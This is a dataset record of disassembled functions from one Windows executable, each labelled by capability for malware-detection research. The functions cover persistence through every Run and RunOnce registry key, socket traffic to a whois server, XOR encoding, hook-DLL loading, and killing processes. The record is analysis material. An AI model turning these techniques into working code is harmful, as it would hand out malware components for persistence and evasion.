joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44dae9
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push ebx
push esi
mov esi, 0x100
push edi
xor ebx, ebx
push esi
lea eax, [ebp - 0x100]
push ebx
mov edi, ecx
push eax
call fcn.0045bef0
push esi
lea eax, [ebp - 0x200]
push ebx
push eax
call fcn.0045bef0
add esp, 0x18
lea eax, [ebp - 0x100]
push dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_lstrcpy]
lea eax, [ebp - 0x100]
push 0x40
push eax
lea eax, [ebp - 0x200]
push eax
mov ecx, edi
call fcn.0044cf24
lea eax, [ebp - 0x100]
push ebx
push eax
lea eax, [ebp - 0x200]
push eax
mov esi, 0x80000001
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push esi
mov ecx, edi
call fcn.0044d358
test eax, eax
jne 0x44dc36
lea eax, [ebp - 0x100]
push ebx
push eax
lea eax, [ebp - 0x200]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push esi
mov ecx, edi
call fcn.0044d358
test eax, eax
jne 0x44dc36
lea eax, [ebp - 0x100]
push ebx
push eax
lea eax, [ebp - 0x200]
push eax
inc esi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push esi
mov ecx, edi
call fcn.0044d358
test eax, eax
jne 0x44dc36
lea eax, [ebp - 0x100]
push ebx
push eax
lea eax, [ebp - 0x200]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push esi
mov ecx, edi
call fcn.0044d358
test eax, eax
jne 0x44dc36
lea eax, [ebp - 0x100]
push ebx
push eax
lea eax, [ebp - 0x200]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnceEx
push esi
mov ecx, edi
call fcn.0044d358
test eax, eax
jne 0x44dc36
lea eax, [ebp - 0x100]
push ebx
push eax
lea eax, [ebp - 0x200]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push esi
mov ecx, edi
call fcn.0044d358
test eax, eax
jne 0x44dc36
lea eax, [ebp - 0x100]
push ebx
push eax
lea eax, [ebp - 0x200]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
push esi
mov ecx, edi
call fcn.0044d358
test eax, eax
je 0x44dc39
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x44ddf3
Capabilities:
Connect socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x75c
push ebx
push esi
push edi
xor ebx, ebx
push 0x100
lea eax, [ebp - 0x15c]
push ebx
mov dword [ebp - 4], ecx
push eax
call fcn.0045bef0
push 0x500
lea eax, [ebp - 0x75c]
push ebx
push eax
call fcn.0045bef0
push 0x40
lea eax, [ebp - 0x5c]
push ebx
push eax
call fcn.0045bef0
mov ecx, dword [ebp - 4]
add esp, 0x24
push str.whois.krnic.net
call fcn.0044df98
mov edi, dword [sym.imp.kernel32.dll_lstrcpy]
push eax
lea eax, [ebp - 0x5c]
push eax
call edi
mov esi, dword [sym.imp.kernel32.dll_lstrlen]
lea eax, [ebp - 0x5c]
push eax
call esi
test eax, eax
je 0x44df91
mov ecx, dword [ebp - 4]
call fcn.0044dfcd
push eax
lea eax, [ebp - 0x15c]
push eax
call edi
lea eax, [ebp - 0x15c]
push eax
call esi
test eax, eax
je 0x44df91
lea eax, [ebp - 0x15c]
push 0x477df4
push eax
call dword [sym.imp.kernel32.dll_lstrcat]
push ebx
push 1
push 2
call sub.ws2_32.dll_socket
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 0xc], edi
je 0x44df91
push 0x2b
mov word [ebp - 0x1c], 2
call sub.ws2_32.dll_htons_1
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x5c]
push eax
call sub.ws2_32.dll_inet_addr
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push 0x10
push eax
push edi
call sub.ws2_32.dll_connect
cmp eax, 0xffffffff
je 0x44df91
lea eax, [ebp - 0x15c]
push ebx
push eax
call esi
push eax
lea eax, [ebp - 0x15c]
push eax
push edi
call sub.ws2_32.dll_send
cmp eax, 0xffffffff
je 0x44df91
mov dword [ebp - 8], ebx
mov edi, 0x80
push edi
lea eax, [ebp - 0x25c]
push ebx
push eax
call fcn.0045bef0
add esp, 0xc
lea eax, [ebp - 0x25c]
push ebx
push edi
push eax
push dword [ebp - 0xc]
call sub.ws2_32.dll_recv
cmp eax, 0xffffffff
je 0x44df6c
lea eax, [ebp - 0x75c]
mov byte [ebp - 0x1dc], bl
push eax
call esi
test eax, eax
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x75c]
push eax
jne 0x44df5d
call dword [sym.imp.kernel32.dll_lstrcpy]
jmp 0x44df63
call dword [sym.imp.kernel32.dll_lstrcat]
inc dword [ebp - 8]
cmp dword [ebp - 8], 9
jl 0x44df0d
push dword [ebp - 0xc]
call sub.ws2_32.dll_closesocket
mov esi, dword [ebp - 4]
lea eax, [ebp - 0x75c]
push eax
mov ecx, esi
call fcn.0044e01b
test eax, eax
je 0x44df91
push 1
pop eax
mov dword [esi + 0x20], eax
jmp 0x44df93
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x44df98
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call sub.ws2_32.dll_gethostbyname
test eax, eax
je 0x44dfc4
mov eax, dword [eax + 0xc]
push 4
push dword [eax]
lea eax, [ebp + 8]
push eax
call fcn.0045c050
add esp, 0xc
push dword [ebp + 8]
call sub.ws2_32.dll_inet_ntoa
jmp 0x44dfc9
mov eax, 0x47dc14
pop ebp
ret 4

Function at 0x44dfcd
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push esi
mov esi, 0x100
push edi
push esi
lea eax, [ebp - 0x100]
push 0
mov edi, ecx
push eax
call fcn.0045bef0
add esp, 0xc
lea eax, [ebp - 0x100]
push esi
push eax
call sub.ws2_32.dll_gethostname
test eax, eax
je 0x44e009
mov eax, 0x47dc14
jmp 0x44e017
lea eax, [ebp - 0x100]
mov ecx, edi
push eax
call fcn.0044df98
pop edi
pop esi
leave
ret
Function at 0x4503df
Capabilities:
Check http status code
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and byte [ebp - 0x20], 0
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x1f]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor ebx, ebx
push 0x4783b0
xor edi, edi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], 4
call fcn.00450375
pop ecx
mov esi, str.Accept:___r_n_r_n
push ebx
push 0x84000000
push esi
call fcn.0045b670
pop ecx
push eax
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.wininet.dll_InternetOpenUrlA]
mov esi, dword [sym.imp.wininet.dll_HttpQueryInfoA]
lea ecx, [ebp - 4]
push ebx
push ecx
lea ecx, [ebp - 0xc]
mov dword [ebp + 0xc], eax
push ecx
push 0x20000013
push eax
call esi
cmp eax, 1
jne 0x4504cc
cmp dword [ebp - 0xc], 0xc8
jne 0x4504cc
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x20]
push eax
push 5
push dword [ebp + 0xc]
call esi
cmp eax, 1
jne 0x4504cc
lea eax, [ebp - 0x20]
push eax
call fcn.0045c6fd
inc eax
push eax
call fcn.0045c040
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jne 0x450491
push str.lpBuf_is_NULL_n
call fcn.00450375
pop ecx
mov esi, dword [sym.imp.wininet.dll_InternetReadFile]
lea eax, [ebp - 4]
mov ebx, 0x400
push eax
push ebx
push edi
push dword [ebp + 0xc]
call esi
test eax, eax
je 0x4504c5
mov eax, dword [ebp - 4]
test eax, eax
je 0x4504c5
add dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
add eax, edi
push ebx
push eax
push dword [ebp + 0xc]
jmp 0x4504a5
mov eax, dword [ebp - 8]
and byte [eax + edi], 0
push dword [ebp + 0xc]
call dword [sym.imp.wininet.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x453409
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.0045b670
test eax, eax
pop ecx
jle 0x45346a
cmp byte [eax + esi - 1], 0x2e
lea eax, [eax + esi - 1]
je 0x45346a
cmp eax, esi
jb 0x45343e
mov cl, byte [eax]
cmp cl, 0x2e
je 0x45343e
cmp cl, 0x30
jl 0x453447
cmp cl, 0x39
jg 0x453447
dec eax
jmp 0x453426
push esi
call dword [sym.imp.ws2_32.dll_inet_addr]
jmp 0x45346d
push esi
call dword [sym.imp.ws2_32.dll_gethostbyname]
test eax, eax
je 0x45346a
mov eax, dword [eax + 0xc]
push 4
push dword [eax]
lea eax, [ebp + 8]
push eax
call fcn.0045c050
mov eax, dword [ebp + 8]
add esp, 0xc
jmp 0x45346d
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x453470
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
call fcn.00453510
test al, al
je 0x453489
mov ecx, esi
call fcn.00453514
mov eax, dword [ebp + 0xc]
push 0
push dword [ebp + 0x10]
mov dword [esi + 8], eax
push dword [ebp + 0x14]
call dword [sym.imp.ws2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 4], eax
jne 0x4534bb
mov ecx, esi
call sub.ws2_32.dll_WSAGetLastError
push eax
push str.CSocket::Open__creating_stream_socket_error__d_n
call fcn.0045352f
pop ecx
pop ecx
jmp 0x453508
cmp dword [ebp + 0x14], 2
jne 0x4534f5
mov ax, word [esi + 8]
mov word [ebp - 0x10], 2
push eax
call dword [sym.imp.ws2_32.dll_htons_1]
push dword [ebp + 8]
mov word [ebp - 0xe], ax
call fcn.00453409
pop ecx
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push dword [esi + 4]
call dword [sym.imp.ws2_32.dll_connect]
test eax, eax
je 0x453504
mov ecx, esi
call sub.ws2_32.dll_WSAGetLastError
push eax
push str.CSocket::Open_connecting_socket_error__d_n
jmp 0x4534b2
mov byte [esi + 0xc], 1
mov al, byte [esi + 0xc]
pop esi
leave
ret 0x10

Function at 0x453530
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
call fcn.00453510
test al, al
jne 0x453544
or eax, 0xffffffff
jmp 0x4535a5
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
jle 0x453598
cmp dword [ebp + 0x10], 0
je 0x453594
mov eax, 0x1000
cmp edi, eax
jge 0x453561
mov eax, edi
push dword [ebp + 0x14]
push eax
push esi
push dword [ebx + 4]
call dword [sym.imp.ws2_32.dll_recv]
test eax, eax
jle 0x453580
sub edi, eax
add esi, eax
dec dword [ebp + 0x10]
test edi, edi
jg 0x453550
jmp 0x453594
mov ecx, ebx
call sub.ws2_32.dll_WSAGetLastError
push eax
push str.CSocket::ReceiveN:recv_error__d._n
call fcn.0045352f
pop ecx
pop ecx
test edi, edi
jg 0x45359c
xor ecx, ecx
jmp 0x45359e
mov ecx, edi
mov eax, dword [ebp + 0xc]
pop edi
sub eax, ecx
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x4535aa
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, ecx
call fcn.00453510
test al, al
jne 0x4535c0
or eax, 0xffffffff
jmp 0x453620
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
test eax, eax
mov dword [ebp + 8], eax
jle 0x453619
cmp dword [ebp + 0x10], 0
je 0x453612
mov eax, 0x1000
cmp dword [ebp + 8], eax
jge 0x4535e0
mov eax, dword [ebp + 8]
push dword [ebp + 0x14]
push eax
push edi
push dword [ebx + 4]
call dword [sym.imp.ws2_32.dll_send]
mov esi, eax
mov ecx, ebx
test esi, esi
jle 0x453627
call sub.ws2_32.dll_WSAGetLastError
push eax
push edi
call fcn.0045352f
sub dword [ebp + 8], esi
add edi, esi
dec dword [ebp + 0x10]
cmp dword [ebp + 8], 0
pop ecx
pop ecx
jg 0x4535cd
mov ecx, dword [ebp + 8]
test ecx, ecx
jg 0x45361b
xor ecx, ecx
mov eax, dword [ebp + 0xc]
sub eax, ecx
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
call sub.ws2_32.dll_WSAGetLastError
push eax
push str.CSocket::SendN:send_error__d._n
call fcn.0045352f
pop ecx
mov eax, esi
pop ecx
jmp 0x453620
Function at 0x453643
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push esi
push 0
push 0x45367a
call fcn.0045d6ef
add esp, 0xc
mov dword [esi + 4], eax
test eax, eax
pop esi
jne 0x45366d
push str.Thread_creation_is_failed_n
call fcn.0045352f
pop ecx
xor al, al
jmp 0x453677
push 0
call dword [sym.imp.kernel32.dll_Sleep]
mov al, 1
ret 4
Function at 0x453f71
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5000
call fcn.0045d6c0
inc dword [0x4a665c]
push esi
mov esi, ecx
call dword [sym.imp.kernel32.dll_GetTickCount]
inc dword [str._t______]
cmp dword [str._t______], 0xa
jne 0x453fa8
and dword [str._t______], 0
mov dword [0x4a6654], eax
mov ax, word [esi + 2]
push ebx
mov ebx, dword [sym.imp.ws2_32.dll_htons]
push edi
push eax
call ebx
cmp ax, 0x6220
je 0x453fca
mov ax, word [esi + 2]
push eax
call ebx
cmp ax, 0x6222
jne 0x453ff7
mov eax, dword [esi + 0x2800]
xor ecx, ecx
dec eax
dec eax
test eax, eax
jle 0x453ff7
mov eax, ecx
push 6
cdq
pop edi
idiv edi
mov al, byte [edx + 0x478774]
xor byte [esi + ecx + 4], al
mov eax, dword [esi + 0x2800]
inc ecx
dec eax
dec eax
cmp ecx, eax
jl 0x453fd8
cmp dword [ebp + 0xc], 1
jne 0x4540ac
and byte [ebp - 0x2800], 0
mov ecx, 0x9ff
xor eax, eax
lea edi, [ebp - 0x27ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ax, word [esi + 2]
push eax
call ebx
push dword [esi + 0x2800]
lea ecx, [esi + 4]
movzx eax, ax
mov edi, 0x4a6198
push ecx
push eax
mov ecx, edi
call fcn.00459e50
push eax
call dword [sym.imp.ws2_32.dll_htons_1]
mov word [ebp - 0x2800], ax
mov eax, dword [esi + 0x2800]
dec eax
dec eax
push eax
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0x27fe]
push eax
call fcn.0045c050
mov ax, word [esi + 2]
add esp, 0xc
push eax
call ebx
push dword [esi + 0x2800]
lea ecx, [ebp - 0x5000]
movzx eax, ax
push ecx
lea ecx, [ebp - 0x2800]
push ecx
push eax
mov ecx, edi
call fcn.00459f40
mov dword [esi + 0x2800], eax
push eax
lea eax, [ebp - 0x5000]
push eax
lea eax, [esi + 4]
push eax
call fcn.0045c050
add esp, 0xc
add dword [esi + 0x2800], 2
cmp byte [0x474f1a], 0
je 0x454115
mov ax, word [esi + 2]
push eax
call ebx
cmp ax, 0xf006
je 0x454115
mov ax, word [esi + 2]
push eax
call ebx
cmp ax, 0xf200
je 0x454115
mov eax, dword [esi + 0x2800]
xor edi, edi
add eax, 0xfffffffe
xor ecx, ecx
test eax, eax
jle 0x4540ec
movzx edx, byte [esi + ecx + 4]
add edi, edx
inc ecx
cmp ecx, eax
jl 0x4540e0
mov ax, word [esi + 2]
push eax
call ebx
movzx eax, ax
xor eax, edi
xor eax, 0x1212
push eax
call dword [sym.imp.ws2_32.dll_htonl_1]
mov ecx, dword [esi + 0x2800]
mov dword [esi + ecx + 2], eax
add dword [esi + 0x2800], 4
mov ax, word [esi + 0x2800]
push eax
call dword [sym.imp.ws2_32.dll_htons_1]
mov word [esi], ax
mov eax, dword [ebp + 8]
xor ecx, ecx
pop edi
sub eax, ecx
pop ebx
je 0x45416b
dec eax
je 0x454151
dec eax
jne 0x454188
mov eax, dword [esi + 0x2800]
push ecx
inc eax
push 0xffffffffffffffff
inc eax
push eax
mov eax, dword [0x4a620c]
push esi
mov ecx, dword [eax + 0x25c]
jmp 0x454183
mov eax, dword [esi + 0x2800]
push ecx
inc eax
push 0xffffffffffffffff
inc eax
push eax
mov eax, dword [0x4a620c]
push esi
mov ecx, dword [eax + 0x254]
jmp 0x454183
mov eax, dword [esi + 0x2800]
push ecx
inc eax
push 0xffffffffffffffff
inc eax
push eax
mov eax, dword [0x4a620c]
push esi
mov ecx, dword [eax + 0x24c]
call fcn.004535aa
pop esi
leave
ret 8
Function at 0x456917
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
xor eax, eax
mov edi, ecx
sub esi, 0x4787c0
mov cl, byte [esi + eax + 0x4787c0]
lea edx, [eax + 0x4787c0]
xor cl, byte [edx]
inc eax
cmp eax, 0xc
mov byte [edi + eax + 0x3c15b], cl
jl 0x456927
pop edi
pop esi
ret 4

Function at 0x456948
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
xor eax, eax
mov edi, ecx
sub esi, 0x4787c0
mov cl, byte [esi + eax + 0x4787c0]
lea edx, [eax + 0x4787c0]
xor cl, byte [edx]
inc eax
cmp eax, 0xc
mov byte [edi + eax + 0x3c141], cl
jl 0x456958
pop edi
pop esi
ret 4

Function at 0x456979
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
xor eax, eax
mov edi, ecx
sub esi, 0x4787c0
mov cl, byte [esi + eax + 0x4787c0]
lea edx, [eax + 0x4787c0]
xor cl, byte [edx]
inc eax
cmp eax, 0xc
mov byte [edi + eax + 0x3c14e], cl
jl 0x456989
pop edi
pop esi
ret 4

Function at 0x4569aa
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
mov edi, 0x4787c0
xor esi, esi
mov edx, eax
sub edi, eax
mov bl, byte [edi + edx]
xor bl, byte [ecx + esi + 0x3c15c]
inc esi
mov byte [edx], bl
inc edx
cmp esi, 0xc
jl 0x4569bc
and byte [eax + 0xc], 0
pop edi
pop esi
pop ebx
ret 4

Function at 0x4569d9
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
mov edi, 0x4787c0
xor esi, esi
mov edx, eax
sub edi, eax
mov bl, byte [edi + edx]
xor bl, byte [ecx + esi + 0x3c142]
inc esi
mov byte [edx], bl
inc edx
cmp esi, 0xc
jl 0x4569eb
and byte [eax + 0xc], 0
pop edi
pop esi
pop ebx
ret 4

Function at 0x456a08
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
mov edi, 0x4787c0
xor esi, esi
mov edx, eax
sub edi, eax
mov bl, byte [edi + edx]
xor bl, byte [ecx + esi + 0x3c14f]
inc esi
mov byte [edx], bl
inc edx
cmp esi, 0xc
jl 0x456a1a
and byte [eax + 0xc], 0
pop edi
pop esi
pop ebx
ret 4
Function at 0x457070
Capabilities:
Encode data using xor

Disassembly:
movzx eax, word [ecx + 0x160]
movzx edx, byte [ecx + 0x6c]
xor eax, edx
push esi
xor eax, dword [ecx + 0x180]
push 8
pop edx
xor eax, dword [ecx + 0x174]
xor eax, dword [ecx + 0x15c]
xor eax, dword [ecx + 0x158]
xor eax, dword [ecx + 0x134]
xor eax, dword [ecx + 0x130]
xor eax, dword [ecx + 0x68]
xor eax, dword [ecx + 0x50]
xor eax, dword [ecx + 0x4c]
xor eax, dword [ecx + 0x48]
xor eax, dword [ecx + 0x44]
xor eax, dword [ecx + 0x40]
xor eax, dword [ecx + 0x3c]
xor eax, dword [ecx + 0x38]
xor eax, dword [ecx + 0x34]
xor eax, dword [ecx + 0x30]
xor eax, dword [ecx + 0x2c]
mov dword [ecx + 0x704], eax
lea eax, [ecx + 0xf0]
mov esi, dword [eax - 0x80]
xor esi, dword [eax - 0x60]
xor esi, dword [eax - 0x40]
xor esi, dword [eax - 0x20]
xor esi, dword [eax + 0x20]
xor esi, dword [eax]
add eax, 4
xor dword [ecx + 0x704], esi
dec edx
jne 0x4570d2
xor eax, eax
movzx edx, byte [ecx + eax + 0x138]
xor dword [ecx + 0x704], edx
inc eax
cmp eax, 0x20
jl 0x4570f1
xor eax, eax
movzx edx, byte [ecx + eax + 0x162]
xor dword [ecx + 0x704], edx
inc eax
cmp eax, 0x10
jl 0x457107
xor eax, eax
movzx edx, byte [ecx + eax + 0x178]
xor dword [ecx + 0x704], edx
inc eax
cmp eax, 8
jl 0x45711d
mov edx, dword [ecx + 0x188]
test edx, edx
jle 0x457158
xor eax, eax
test edx, edx
jle 0x457158
mov esi, dword [ecx + 0x184]
push edi
movzx edi, byte [esi + eax]
xor dword [ecx + 0x704], edi
inc eax
cmp eax, edx
jl 0x457148
pop edi
xor eax, eax
pop esi
movzx edx, byte [ecx + eax + 0x18c]
xor dword [ecx + 0x704], edx
inc eax
cmp eax, 0x56a
jl 0x45715b
ret
Function at 0x45790f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 4], ecx
test eax, eax
jne 0x457928
push ebx
call fcn.0045b6eb
pop ecx
test ebx, ebx
jbe 0x457957
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, eax
sub edi, esi
movzx eax, byte [esi]
push 4
cdq
pop ecx
idiv ecx
push edx
call fcn.0045b507
pop ecx
mov ecx, dword [ebp - 4]
mov al, byte [eax + ecx + 0x10]
xor al, byte [esi]
mov byte [edi + esi], al
inc esi
dec ebx
jne 0x457935
pop edi
pop esi
mov ecx, dword [ebp - 4]
call fcn.00457070
pop ebx
leave
ret 0xc
Function at 0x4597cd
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, ecx
push 0xc
call fcn.0045972d
mov dword [esp], str.ad01011.i16
call dword [sym.imp.kernel32.dll_LoadLibraryA]
test eax, eax
mov dword [esi + 0x10], eax
jne 0x4597f3
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
push edi
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.fnXInstallHook
push eax
call edi
push str.fnXUnInstallHook
mov dword [esi + 4], eax
push dword [esi + 0x10]
call edi
push str.fnXGetHook
mov dword [esi + 8], eax
push dword [esi + 0x10]
call edi
push 0x1004
mov dword [esi + 0xc], eax
push dword [esp + 0x10]
push 5
call dword [esi + 4]
add esp, 0xc
test eax, eax
pop edi
jne 0x459846
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_FreeLibrary]
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, esi
call fcn.00459960
push 1
pop eax
pop esi
ret 4

Function at 0x4598c0
Capabilities:
Terminate process

Disassembly:
push dword [esp + 4]
push 0
push 1
call dword [sym.imp.kernel32.dll_OpenProcess]
test eax, eax
je 0x4598db
push 0xffffffffffffffff
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
ret 4

Function at 0x459960
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
and dword [ebp - 0x128], 0
push ebx
push esi
push edi
mov ebx, ecx
push 0x49
pop ecx
xor eax, eax
lea edi, [ebp - 0x124]
rep stosd dword es:[edi], eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x45999c
xor eax, eax
jmp 0x4599e5
lea eax, [ebp - 0x128]
mov dword [ebp - pe_nt_image_headers32], 0x128
push eax
push esi
call sub.kernel32.dll_Process32First
test eax, eax
je 0x4599da
push dword [ebp - 0x120]
mov ecx, ebx
call fcn.004599ea
lea eax, [ebp - 0x128]
push eax
push esi
call sub.kernel32.dll_Process32Next
test eax, eax
jne 0x4599b7
push 1
pop edi
jmp 0x4599dc
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x459a8a
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
and dword [ebp - 0x128], 0
push esi
push edi
mov esi, ecx
push 0x49
xor eax, eax
and dword [ebp - 0x34c], eax
pop ecx
lea edi, [ebp - 0x124]
rep stosd dword es:[edi], eax
mov ecx, 0x88
lea edi, [ebp - 0x348]
rep stosd dword es:[edi], eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x459b73
lea eax, [ebp - 0x128]
mov dword [ebp - pe_nt_image_headers32], 0x128
push eax
push edi
call sub.kernel32.dll_Process32First
test eax, eax
je 0x459b6c
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp + 8]
je 0x459b0d
lea eax, [ebp - 0x128]
push eax
push edi
call sub.kernel32.dll_Process32Next
jmp 0x459aef
cmp dword [esi + 0x14], 0
jne 0x459b47
lea ecx, [ebp - 0x34c]
push 0x224
push ecx
mov ecx, esi
push dword [ebp - 0x118]
push eax
call fcn.004598de
test eax, eax
je 0x459b67
lea eax, [ebp - 0x22c]
push eax
call fcn.0045b670
inc eax
push eax
lea eax, [ebp - 0x22c]
jmp 0x459b5b
lea eax, [ebp - 0x104]
push eax
call fcn.0045b670
inc eax
push eax
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0xc]
call fcn.0045c9a0
add esp, 0x10
push 1
pop eax
jmp 0x459b75
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret 8

Function at 0x459b7b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x459bb9
lea eax, [ebp + 0x18]
push eax
push dword [ebp + 0x14]
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
call dword [sym.imp.advapi32.dll_RegCloseKey]
push 1
pop eax
pop ebp
ret

Function at 0x45a210
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
ret

Function at 0x45aca0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
xor eax, eax
xor ecx, ecx
push edi
test esi, esi
jle 0x45acd9
mov edi, dword [esp + 0x10]
mov ebx, eax
xor edx, edx
mov dl, byte [ecx + edi]
and ebx, 0xffff
shr ebx, 8
xor edx, ebx
xor ebx, ebx
mov bh, al
mov ax, word [edx*2 + 0x479b84]
xor ax, bx
inc ecx
cmp ecx, esi
jl 0x45acb3
mov esi, dword [esp + 0x1c]
xor ecx, ecx
test esi, esi
jle 0x45ad0d
mov edi, dword [esp + 0x18]
mov ebx, eax
xor edx, edx
mov dl, byte [ecx + edi]
and ebx, 0xffff
shr ebx, 8
xor edx, ebx
xor ebx, ebx
mov bh, al
mov ax, word [edx*2 + 0x479b84]
xor ax, bx
inc ecx
cmp ecx, esi
jl 0x45ace7
pop edi
pop esi
pop ebx
ret